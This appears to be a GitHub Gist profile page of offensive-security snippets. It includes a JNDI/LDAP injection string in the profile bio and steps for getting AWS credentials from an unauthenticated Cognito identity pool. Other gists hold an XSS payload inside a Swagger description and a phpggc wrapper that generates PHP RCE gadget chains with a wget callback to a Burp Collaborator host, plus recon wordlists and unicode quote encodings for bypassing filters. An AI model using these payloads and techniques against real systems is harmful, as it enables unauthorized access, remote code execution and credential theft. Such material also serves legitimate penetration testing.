Skip to content

Instantly share code, notes, and snippets.

View incogbyte's full-sized avatar
:shipit:
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}

(inc0gbyt3) incogbyte

:shipit:
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}
View GitHub Profile
@incogbyte
incogbyte / cognito.md
Created January 14, 2024 15:36
cognito exploitation
  1. Generate temporary AWS credentials using unauth user 1.1 - Get the poolId 2.1 - IdendityID 3.1 - Use the following command on aws-cli "example" $ aws cognito-identity get-id --identity-pool-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

    3.2 - Use the following command to get aws credentials $ aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

swagger: '2.0'
info:
title: Classic API Resource Documentation
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
@incogbyte
incogbyte / phpggc_wrapper.sh
Created June 15, 2023 13:31
generate gadget chains php
#!/bin/bash
# Git clone this tool https://github.com/ambionics/phpggc
# phpggc wrapper that automatically generates payloads for RCE gadgets
function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"
@incogbyte
incogbyte / words_from_subs.py
Created June 7, 2023 12:24
extract words from subdomains to make a wordlist
import re
import sys
def extract_subdomains(filename):
subdomains = set()
pattern = r"(?:https?://)?(?:www\.)?([^.]+\.[^.]+)"
with open(filename, 'r') as file:
for line in file:
match = re.search(pattern, line)
@incogbyte
incogbyte / permute_wordlist.txt
Created May 21, 2023 13:53
Permute subdomains wordlist
1
10
11
12
13
14
15
16
17
18
@incogbyte
incogbyte / gist:b03f7794a8e2d2e854bb1539d8c64d51
Created May 11, 2023 22:28
FFUF list of urls and save them into a file by name of the domains
#!/bin/bash
## Author: incogbyte
## Usage: ./ffuf_script.sh input.txt
extract_domain() {
echo "$1" | awk -F/ '{print $3}'
}
@incogbyte
incogbyte / mimetypes.txt
Created May 6, 2023 17:05
Common mime types
text/html
text/plain
text/css
application/json
application/javascript
application/xml
application/pdf
image/jpeg
audio/mpeg
video/mp4
@incogbyte
incogbyte / devpaths.txt
Created May 4, 2023 00:03
Common Dev Paths
gitlab-ci.yml
gitlab-ci.yaml
gitalaci.yml
gitalaci.yml
build.xml
pom.xml
sonar.yml
sonar.yaml
dev-config.yaml
dev-hml.yaml
  • Postman workspace
  • site:postman.com inurl:/workspace "example"
@incogbyte
incogbyte / unincodes.txt
Created May 1, 2023 12:08
List of useful unicodes to bypass some filters
#### unicodes - single quote
%u0027
%u02b9
%u02bc
%u02c8
%c0%27
%c0%a
%e0%80%a7